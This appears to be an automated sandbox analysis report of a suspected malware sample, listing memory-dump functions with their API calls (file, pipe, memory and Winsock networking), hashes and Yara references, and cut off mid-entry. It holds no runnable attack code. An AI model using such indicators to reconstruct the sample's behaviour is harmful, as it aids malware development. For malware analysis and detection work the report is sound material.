GetLastError.KERNEL32 ref: 0066FB83
GetTickCount.KERNEL32 ref: 0066FB8E
Sleep.KERNEL32 ref: 0066FB9E
GetLastError.KERNEL32 ref: 0066FBAB
WriteFile.KERNEL32 ref: 0066FBDE
WriteFile.KERNEL32 ref: 0066FC0D
FlushFileBuffers.KERNEL32 ref: 0066FC25
DisconnectNamedPipe.KERNEL32 ref: 0066FC2F
Sleep.KERNEL32 ref: 0066FC43

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: File$CountErrorLastSleepTickWrite$BuffersDisconnectFlushNamedPipe
String ID:
API String ID: 3101085627-0
Opcode ID: 2fa90bf5de3d4daae598bfc7d95f016883deb1b957d31e82556552939848cc78
Instruction ID: 20c444c17b0549a3d1c7f0f45b5fa1bf5f6f455f3e7158127a932f33e358a413
Opcode Fuzzy Hash: 2fa90bf5de3d4daae598bfc7d95f016883deb1b957d31e82556552939848cc78
Instruction Fuzzy Hash: A7318E32700A45AAEB10DFB9E49439D3377F784B98F514126EE0E97A29DF39C549C780

Function 00686E1C Relevance: 15.1, APIs: 10, Instructions: 81COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 00686E4E

Part of subcall function 00681D18: _getptd_noexit.LIBCMT ref: 00681D1C

__doserrno.LIBCMT ref: 00686E45

Part of subcall function 00681CA8: _getptd_noexit.LIBCMT ref: 00681CAC

__doserrno.LIBCMT ref: 00686EAB
_errno.LIBCMT ref: 00686EB2
_invalid_parameter_noinfo.LIBCMT ref: 00686F16

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: __doserrno_errno_getptd_noexit$_invalid_parameter_noinfo
String ID:
API String ID: 388111225-0
Opcode ID: 45b9cdfc7a25f1278b796800b15345f673bb2555b0332f4ab4807a0dfd005840
Instruction ID: 7cfaa5dcb511f5f5a62132100b7c36c6074cf6fcc5c00208eaf73f742b1eeb31
Opcode Fuzzy Hash: 45b9cdfc7a25f1278b796800b15345f673bb2555b0332f4ab4807a0dfd005840
Instruction Fuzzy Hash: AE21F17231035086C757BF76E89132D3657AB82BA0F958329FE212B792CB7CC8428715

Function 001C621C Relevance: 15.1, APIs: 10, Instructions: 81COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 001C624E

Part of subcall function 001C1118: _getptd_noexit.LIBCMT ref: 001C111C

__doserrno.LIBCMT ref: 001C6245

Part of subcall function 001C10A8: _getptd_noexit.LIBCMT ref: 001C10AC

__doserrno.LIBCMT ref: 001C62AB
_errno.LIBCMT ref: 001C62B2
_invalid_parameter_noinfo.LIBCMT ref: 001C6316

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: __doserrno_errno_getptd_noexit$_invalid_parameter_noinfo
String ID:
API String ID: 388111225-0
Opcode ID: 9a7e94428e85d4ed5cd8e77b1af53c202f15bf406c2c29a1a7d54b8e8c205bff
Instruction ID: 38d4aac9496663a0b74bc99d89ee2c492c4ed760ec678c284055fd81f10a89bb
Opcode Fuzzy Hash: 9a7e94428e85d4ed5cd8e77b1af53c202f15bf406c2c29a1a7d54b8e8c205bff
Instruction Fuzzy Hash: B8210632710394D6C7066FB59C92F2D3620BBB2BA0F95922DEE2517793CB78C892C710

Function 0068FD50 Relevance: 13.6, APIs: 9, Instructions: 127COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0068FD76
_errno.LIBCMT ref: 0068FD6B

Part of subcall function 00681D18: _getptd_noexit.LIBCMT ref: 00681D1C

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _errno_getptd_noexit_invalid_parameter_noinfo
String ID:
API String ID: 1812809483-0
Opcode ID: f9c4d6ed39d3bdcb6b80e8c2d76cc2c0cca7aaaf292465ae2b9830194cf53d53
Instruction ID: 4d6e19287958bf355a1f7852a4977f97c7be83c3748a9460f70b2f05641afc63
Opcode Fuzzy Hash: f9c4d6ed39d3bdcb6b80e8c2d76cc2c0cca7aaaf292465ae2b9830194cf53d53
Instruction Fuzzy Hash: 0841477261039186DF20FB2294442FD77A3EB65BE4FA44336EB9447BA6D739C8928700

Function 001CF150 Relevance: 13.6, APIs: 9, Instructions: 127COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 001CF176
_errno.LIBCMT ref: 001CF16B

Part of subcall function 001C1118: _getptd_noexit.LIBCMT ref: 001C111C

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _errno_getptd_noexit_invalid_parameter_noinfo
String ID:
API String ID: 1812809483-0
Opcode ID: bd2089a42f628a497311986bb7142f0c797ae3413767483a07d765319bf433f4
Instruction ID: 07de931665cf7b0ae0fbed8da54a5f8435d64601eeafdbe7b98d6462026b7dde
Opcode Fuzzy Hash: bd2089a42f628a497311986bb7142f0c797ae3413767483a07d765319bf433f4
Instruction Fuzzy Hash: 0341447A610395C2DF24AB62C401BAD72A2E775BE4FA8423EEB9443B85D738C943C700

Function 0068027C Relevance: 13.6, APIs: 9, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00680264: _mtinitlocknum.LIBCMT ref: 00683DAA
Part of subcall function 00680264: _amsg_exit.LIBCMT ref: 00683DB6

DecodePointer.KERNEL32 ref: 006802D8
DecodePointer.KERNEL32 ref: 006802F6
EncodePointer.KERNEL32 ref: 00680324
DecodePointer.KERNEL32 ref: 00680339
EncodePointer.KERNEL32 ref: 00680344
DecodePointer.KERNEL32 ref: 00680356
DecodePointer.KERNEL32 ref: 00680366
__crtCorExitProcess.LIBCMT ref: 006803EA
ExitProcess.KERNEL32 ref: 006803F2

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$EncodeExitProcess$__crt_amsg_exit_mtinitlocknum
String ID:
API String ID: 1550138920-0
Opcode ID: c0449f3fef6a4d8576451ebf1d27e0541d416188840e9d96df55a1b66d98fc2d
Instruction ID: 9df82419cd52bf638c99b27bdb88a8babd163be2b3f9864eb32f8bca7f94e206
Opcode Fuzzy Hash: c0449f3fef6a4d8576451ebf1d27e0541d416188840e9d96df55a1b66d98fc2d
Instruction Fuzzy Hash: D7418031216B5297F690AF11FC5431973A7F788BD4F440629E98E93B24DF39C5A98700

Function 00676500 Relevance: 13.6, APIs: 9, Instructions: 95networkCOMMON

Download Yara Rule

APIs

htonl.WS2_32 ref: 00676541
htons.WS2_32 ref: 00676552
socket.WS2_32 ref: 00676594
closesocket.WS2_32 ref: 006765A9
gethostbyname.WS2_32 ref: 006765C8
htons.WS2_32 ref: 006765F8
ioctlsocket.WS2_32 ref: 00676612
connect.WS2_32 ref: 0067662A
WSAGetLastError.WS2_32 ref: 00676634

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: htons$ErrorLastclosesocketconnectgethostbynamehtonlioctlsocketsocket
String ID:
API String ID: 3339321253-0
Opcode ID: 05f6a439e9e7b1774ef1c5ddc00099d5cfca8a0839fadce43f34e2615c209cd9
Instruction ID: b1788b8707f78e1acc7366027eacb695295fd0740c809ae3d58e72257b77e0e2
Opcode Fuzzy Hash: 05f6a439e9e7b1774ef1c5ddc00099d5cfca8a0839fadce43f34e2615c209cd9
Instruction Fuzzy Hash: 97316922314A91A2EB24DF21E8647AE6367F744BA8F544134EE0E47B98EF3DC659C740

Function 00676B98 Relevance: 13.6, APIs: 9, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00676BE0: htonl.WS2_32 ref: 00676C3D
Part of subcall function 00676BE0: select.WS2_32 ref: 00676CAB
Part of subcall function 00676BE0: __WSAFDIsSet.WS2_32 ref: 00676CC3
Part of subcall function 00676BE0: accept.WS2_32 ref: 00676CE0
Part of subcall function 00676BE0: ioctlsocket.WS2_32 ref: 00676CF8
Part of subcall function 00676BE0: __WSAFDIsSet.WS2_32 ref: 00676D9B

GetTickCount.KERNEL32 ref: 00676BAA

Part of subcall function 00676F2C: malloc.LIBCMT ref: 00676F5E
Part of subcall function 00676F2C: htonl.WS2_32 ref: 00676F91
Part of subcall function 00676F2C: recvfrom.WS2_32 ref: 00676FD5
Part of subcall function 00676F2C: WSAGetLastError.WS2_32 ref: 00676FE2

GetTickCount.KERNEL32 ref: 00676BC2
GetTickCount.KERNEL32 ref: 006770E0
GetTickCount.KERNEL32 ref: 006770F6
shutdown.WS2_32 ref: 00677115
shutdown.WS2_32 ref: 0067712A
closesocket.WS2_32 ref: 00677134
free.LIBCMT ref: 00677154
free.LIBCMT ref: 00677169

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: CountTick$freehtonlshutdown$ErrorLastacceptclosesocketioctlsocketmallocrecvfromselect
String ID:
API String ID: 3610715900-0
Opcode ID: 1c403b153f4cdb51b3aa82c7904d7a2a385d985f1a2ac89a95e712731fd71160
Instruction ID: d8f480d3902b15dbd3bfb10997250aad907e18a79d7c5dc3265a71454a942d6c
Opcode Fuzzy Hash: 1c403b153f4cdb51b3aa82c7904d7a2a385d985f1a2ac89a95e712731fd71160
Instruction Fuzzy Hash: F2218D72204A42C2DB209F72E85436923A7F748F88F18C225DE4D87725DF75C9A1CB56

Function 00687A90 Relevance: 13.6, APIs: 9, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 00687ABB

Part of subcall function 00681D18: _getptd_noexit.LIBCMT ref: 00681D1C

__doserrno.LIBCMT ref: 00687AB3

Part of subcall function 00681CA8: _getptd_noexit.LIBCMT ref: 00681CAC

__lock_fhandle.LIBCMT ref: 00687AFF
_lseek_nolock.LIBCMT ref: 00687B18

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno__lock_fhandle_errno_lseek_nolock
String ID:
API String ID: 310312816-0
Opcode ID: 689a55ff460a42ab0e8479ad490ad51203e5d8515b6f39f729bbcfe6708b8e94
Instruction ID: 24f0610d08a0e9dc992270e57341d53098f47f79d343df18f8d8b644598904b5
Opcode Fuzzy Hash: 689a55ff460a42ab0e8479ad490ad51203e5d8515b6f39f729bbcfe6708b8e94
Instruction Fuzzy Hash: 2411783270824046E7167F65E89136DB663BB817A1F29431DEE251B3D1CB7CC882D719

Function 00687C08 Relevance: 13.6, APIs: 9, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 00687C33

Part of subcall function 00681D18: _getptd_noexit.LIBCMT ref: 00681D1C

__doserrno.LIBCMT ref: 00687C2B

Part of subcall function 00681CA8: _getptd_noexit.LIBCMT ref: 00681CAC

__lock_fhandle.LIBCMT ref: 00687C77
_lseeki64_nolock.LIBCMT ref: 00687C90

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno__lock_fhandle_errno_lseeki64_nolock
String ID:
API String ID: 4140391395-0
Opcode ID: b12dde97457ee21ef34638bcae53c6e161a46aae09bdd653f8f5ca1ee8b86ca4
Instruction ID: 5dc25f8dcf996d4c8157047387c0dd1f90f798925ef1df76545ee2abbc0fabdd
Opcode Fuzzy Hash: b12dde97457ee21ef34638bcae53c6e161a46aae09bdd653f8f5ca1ee8b86ca4
Instruction Fuzzy Hash: 451156327086404AEB567F26E85136D7A53AB81BB1F294718FE391B3D2CB3CC442C729

Function 001C7008 Relevance: 13.6, APIs: 9, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 001C7033

Part of subcall function 001C1118: _getptd_noexit.LIBCMT ref: 001C111C

__doserrno.LIBCMT ref: 001C702B

Part of subcall function 001C10A8: _getptd_noexit.LIBCMT ref: 001C10AC

__lock_fhandle.LIBCMT ref: 001C7077
_lseeki64_nolock.LIBCMT ref: 001C7090

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno__lock_fhandle_errno_lseeki64_nolock
String ID:
API String ID: 4140391395-0
Opcode ID: 19101616f3e261a9beafbca214444aa2a5cb8e231afb96d714edbab2d78f6c11
Instruction ID: 058669ddc30177cea810e3a2b2250b9773ba6fff2ecb30b693514bc95a488f4f
Opcode Fuzzy Hash: 19101616f3e261a9beafbca214444aa2a5cb8e231afb96d714edbab2d78f6c11
Instruction Fuzzy Hash: 8711022270428055EB052F659802B7DBA11A7B2BB1F19471CBE350B7D2CBBCC8A1CB21

Function 001C6E90 Relevance: 13.6, APIs: 9, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 001C6EBB

Part of subcall function 001C1118: _getptd_noexit.LIBCMT ref: 001C111C

__doserrno.LIBCMT ref: 001C6EB3

Part of subcall function 001C10A8: _getptd_noexit.LIBCMT ref: 001C10AC

__lock_fhandle.LIBCMT ref: 001C6EFF
_lseek_nolock.LIBCMT ref: 001C6F18

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno__lock_fhandle_errno_lseek_nolock
String ID:
API String ID: 310312816-0
Opcode ID: 58556fb0ae643294109593e6a1f551c1d1756168c239dbf47c2b40feda9217b5
Instruction ID: bfdf8927219a1c0db9bc5fb0f70ec63aa55916b6475b4c1005a446d7f9587be5
Opcode Fuzzy Hash: 58556fb0ae643294109593e6a1f551c1d1756168c239dbf47c2b40feda9217b5
Instruction Fuzzy Hash: 0D11033270068055D7066F65E862B7D6A61BBB1BA1F5A422DBA150B3D2CB7CC891C724

Function 001BF36C Relevance: 12.6, APIs: 10, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

free.LIBCMT ref: 001BF39A

Part of subcall function 001BE644: _errno.LIBCMT ref: 001BE664

free.LIBCMT ref: 001BF3AF
free.LIBCMT ref: 001BF3D0
free.LIBCMT ref: 001BF3E5
free.LIBCMT ref: 001BF3F9
free.LIBCMT ref: 001BF405
free.LIBCMT ref: 001BF430
free.LIBCMT ref: 001BF451
free.LIBCMT ref: 001BF46A
free.LIBCMT ref: 001BF49B

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: free$_errno
String ID:
API String ID: 2288870239-0
Opcode ID: 819b4a270ea7d8595eaf9ac501f5b396dc923916a4c2f054388fd72371d1b91d
Instruction ID: ddea1815f7091b6444c24c87483e48f1ed0a7c78e2103579739e950a14cedbcc
Opcode Fuzzy Hash: 819b4a270ea7d8595eaf9ac501f5b396dc923916a4c2f054388fd72371d1b91d
Instruction Fuzzy Hash: 5831F635601A8185FE18EF55ECA53EC23A1BBA8BA0F5C0239DD1E0B6A1DF2CC446C351

Function 00401D50 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 185COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 00401E69

Strings

VirtualQuery failed for %d bytes at address %p, xrefs: 00401FBB
Address %p has no image-section, xrefs: 00401DC0
VirtualProtect failed with code 0x%x, xrefs: 00401F56
Mingw-w64 runtime failure:, xrefs: 00401D88

Memory Dump Source

Source File: 00000000.00000002.4113625005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4113602550.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113649061.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113672098.0000000000405000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113715440.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113736878.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113770648.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yZah650lHL.jbxd

Similarity

API ID: QueryVirtual
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 1804819252-1534286854
Opcode ID: 29a604cf87b13a80806d7f9ead845a3010426e0ed6c052ed04d9aa5093f5c340
Instruction ID: 40df73200976b68941168ad0de7a995853c322167ef9a8bb8888d12721705d67
Opcode Fuzzy Hash: 29a604cf87b13a80806d7f9ead845a3010426e0ed6c052ed04d9aa5093f5c340
Instruction Fuzzy Hash: ED51DDB2701B4092DB118F22E98475E77A0F799BE9F54823AEF58173E1EA3CC581C348

Function 00686434 Relevance: 12.1, APIs: 8, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0068645F

Part of subcall function 00681D18: _getptd_noexit.LIBCMT ref: 00681D1C

__doserrno.LIBCMT ref: 00686457

Part of subcall function 00681CA8: _getptd_noexit.LIBCMT ref: 00681CAC

__lock_fhandle.LIBCMT ref: 006864A3

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno__lock_fhandle_errno
String ID:
API String ID: 2611593033-0
Opcode ID: 1700ff755fa86426cee97dc6493a8bbd2f86863ab499d60c3e97554295ddf05f
Instruction ID: c3f53764061b736138cf567853190568bf4f5ca1a6f594924a029798c2a7fa8e
Opcode Fuzzy Hash: 1700ff755fa86426cee97dc6493a8bbd2f86863ab499d60c3e97554295ddf05f
Instruction Fuzzy Hash: 7011563270024046E756BF65E85132D7A93AB81BB1F59831DFE251B3D2CB7CC842C729

Function 001C5834 Relevance: 12.1, APIs: 8, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 001C585F

Part of subcall function 001C1118: _getptd_noexit.LIBCMT ref: 001C111C

__doserrno.LIBCMT ref: 001C5857

Part of subcall function 001C10A8: _getptd_noexit.LIBCMT ref: 001C10AC

__lock_fhandle.LIBCMT ref: 001C58A3

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno__lock_fhandle_errno
String ID:
API String ID: 2611593033-0
Opcode ID: 268773e762f2e10da4a59bd6545c27f05d9dc8848c407f150f864121acff7d22
Instruction ID: 634e98f625f9fa467a82c9908df3940d2cda5850be515b119fa48cb2f3079672
Opcode Fuzzy Hash: 268773e762f2e10da4a59bd6545c27f05d9dc8848c407f150f864121acff7d22
Instruction Fuzzy Hash: 56113632B00A8096D7052F66EC42B7D7A22B7B1BA1F5A421DAA150B3D2CB7CD881D720

Function 0068A73C Relevance: 12.1, APIs: 8, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0068A755

Part of subcall function 00681D18: _getptd_noexit.LIBCMT ref: 00681D1C

__lock_fhandle.LIBCMT ref: 0068A79D
FlushFileBuffers.KERNEL32 ref: 0068A7B8
GetLastError.KERNEL32 ref: 0068A7C2
__doserrno.LIBCMT ref: 0068A7D2
_errno.LIBCMT ref: 0068A7D9

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _errno$BuffersErrorFileFlushLast__doserrno__lock_fhandle_getptd_noexit
String ID:
API String ID: 2289611984-0
Opcode ID: c8931cb6991e1dcdb4b4beaef908be2012675e49725fd5fc40ebfddcb96b8d14
Instruction ID: 0d8c8305014683f044f82c85f488e99059061193ed71ff6f56693760bce6f3a0
Opcode Fuzzy Hash: c8931cb6991e1dcdb4b4beaef908be2012675e49725fd5fc40ebfddcb96b8d14
Instruction Fuzzy Hash: D811383530064185F716BFE5A8A036D7667AB81B60F19432EDF160B391CB78C882A35A

Function 00685C58 Relevance: 12.1, APIs: 8, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 00685C79

Part of subcall function 00681D18: _getptd_noexit.LIBCMT ref: 00681D1C

__doserrno.LIBCMT ref: 00685C71

Part of subcall function 00681CA8: _getptd_noexit.LIBCMT ref: 00681CAC

__lock_fhandle.LIBCMT ref: 00685CBD
_close_nolock.LIBCMT ref: 00685CD0

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno__lock_fhandle_close_nolock_errno
String ID:
API String ID: 4060740672-0
Opcode ID: 8f1e5b792f872c4dc36995a7bc6d01a3aafca90ffb12f932fc30e24f319e98c6
Instruction ID: 14533b4ae420227cbd097e30d8214636af86d3ccf5c4f633f6a5fb2d41b8138a
Opcode Fuzzy Hash: 8f1e5b792f872c4dc36995a7bc6d01a3aafca90ffb12f932fc30e24f319e98c6
Instruction Fuzzy Hash: 91112932700B8046E756BF65EC9532C7A53AF81761F69472DEE1B4B3D2C7B8C8428B19

Function 001C5058 Relevance: 12.1, APIs: 8, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 001C5079

Part of subcall function 001C1118: _getptd_noexit.LIBCMT ref: 001C111C

__doserrno.LIBCMT ref: 001C5071

Part of subcall function 001C10A8: _getptd_noexit.LIBCMT ref: 001C10AC

__lock_fhandle.LIBCMT ref: 001C50BD
_close_nolock.LIBCMT ref: 001C50D0

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno__lock_fhandle_close_nolock_errno
String ID:
API String ID: 4060740672-0
Opcode ID: 17379182c61e94fbc4142119cfcf5b3e3f43e3e6c30bf76299a690df2e0bdcd6
Instruction ID: 3e54719696332346c6774f72743f91e7305863619329b9cc4123aa14db80aef9
Opcode Fuzzy Hash: 17379182c61e94fbc4142119cfcf5b3e3f43e3e6c30bf76299a690df2e0bdcd6
Instruction Fuzzy Hash: E4113632700A8495D3056F75EC86B6C7A12B7B17A1F6E462CFA1A473D3C7B8C8D18750

Function 0066460C Relevance: 11.5, APIs: 9, Instructions: 201COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 006646A9

Part of subcall function 0067F284: _FF_MSGBANNER.LIBCMT ref: 0067F2B4
Part of subcall function 0067F284: _NMSG_WRITE.LIBCMT ref: 0067F2BE
Part of subcall function 0067F284: HeapAlloc.KERNEL32 ref: 0067F2D9
Part of subcall function 0067F284: _callnewh.LIBCMT ref: 0067F2F2
Part of subcall function 0067F284: _errno.LIBCMT ref: 0067F2FD
Part of subcall function 0067F284: _errno.LIBCMT ref: 0067F308

malloc.LIBCMT ref: 006646B3

Part of subcall function 0067F284: _callnewh.LIBCMT ref: 0067F318
Part of subcall function 0067F284: _errno.LIBCMT ref: 0067F31D

malloc.LIBCMT ref: 006646BE
free.LIBCMT ref: 0066487E
free.LIBCMT ref: 00664886
free.LIBCMT ref: 0066488E

Part of subcall function 006654F0: malloc.LIBCMT ref: 0066553A
Part of subcall function 006654F0: malloc.LIBCMT ref: 00665545
Part of subcall function 006654F0: free.LIBCMT ref: 0066562C
Part of subcall function 006654F0: free.LIBCMT ref: 00665634

free.LIBCMT ref: 0066489A
free.LIBCMT ref: 006648A7
free.LIBCMT ref: 006648B4

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: free$malloc$_errno$_callnewh$AllocHeap
String ID:
API String ID: 3534990644-0
Opcode ID: cc81e054d2004eb51c8bee4b84b58d4814fb308bd44c01250cbaa5dfc0e514d5
Instruction ID: 34910b46c727ce7705f8db602624640e91d5cf5abd5de39ae3148aadea8298a6
Opcode Fuzzy Hash: cc81e054d2004eb51c8bee4b84b58d4814fb308bd44c01250cbaa5dfc0e514d5
Instruction Fuzzy Hash: 0A61D0227087C586DB65AF669450BAA7B93FB85BC8F448129DE4A47B06DF38C906CB04

Function 001A3A0C Relevance: 11.5, APIs: 9, Instructions: 201COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 001A3AA9

Part of subcall function 001BE684: _FF_MSGBANNER.LIBCMT ref: 001BE6B4
Part of subcall function 001BE684: _NMSG_WRITE.LIBCMT ref: 001BE6BE
Part of subcall function 001BE684: _callnewh.LIBCMT ref: 001BE6F2
Part of subcall function 001BE684: _errno.LIBCMT ref: 001BE6FD
Part of subcall function 001BE684: _errno.LIBCMT ref: 001BE708

malloc.LIBCMT ref: 001A3AB3

Part of subcall function 001BE684: _callnewh.LIBCMT ref: 001BE718
Part of subcall function 001BE684: _errno.LIBCMT ref: 001BE71D

malloc.LIBCMT ref: 001A3ABE
free.LIBCMT ref: 001A3C7E
free.LIBCMT ref: 001A3C86
free.LIBCMT ref: 001A3C8E

Part of subcall function 001A48F0: malloc.LIBCMT ref: 001A493A
Part of subcall function 001A48F0: malloc.LIBCMT ref: 001A4945
Part of subcall function 001A48F0: free.LIBCMT ref: 001A4A2C
Part of subcall function 001A48F0: free.LIBCMT ref: 001A4A34

free.LIBCMT ref: 001A3C9A
free.LIBCMT ref: 001A3CA7
free.LIBCMT ref: 001A3CB4

Memory Dump Source

Source File: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Offset: 001A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_yZah650lHL.jbxd

Yara matches

Similarity

API ID: free$malloc$_errno$_callnewh
String ID:
API String ID: 4160633307-0
Opcode ID: 930309f8498ff7a349f5473874db00cb4ae22164d30aab4612de4250541046de
Instruction ID: 209368a58deb9e4cad09f9a49730c8180387322b07902ac6a1c357e03485ee58
Opcode Fuzzy Hash: 930309f8498ff7a349f5473874db00cb4ae22164d30aab4612de4250541046de
Instruction Fuzzy Hash: 4D61056630478446DF25EF2698507AFBB91F7A6FD8F044126EE4A57B09DF38C606CB00

Function 001ABE74 Relevance: 10.8, APIs: 6, Strings: 1, Instructions: 296COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 001B53EC: malloc.LIBCMT ref: 001B5408

malloc.LIBCMT ref: 001ABF3B

Part of subcall function 001BE684: _FF_MSGBANNER.LIBCMT ref: 001BE6B4
Part of subcall function 001BE684: _NMSG_WRITE.LIBCMT ref: 001BE6BE
Part of subcall function 001BE684: _callnewh.LIBCMT ref: 001BE6F2
Part of subcall function 001BE684: _errno.LIBCMT ref: 001BE6FD
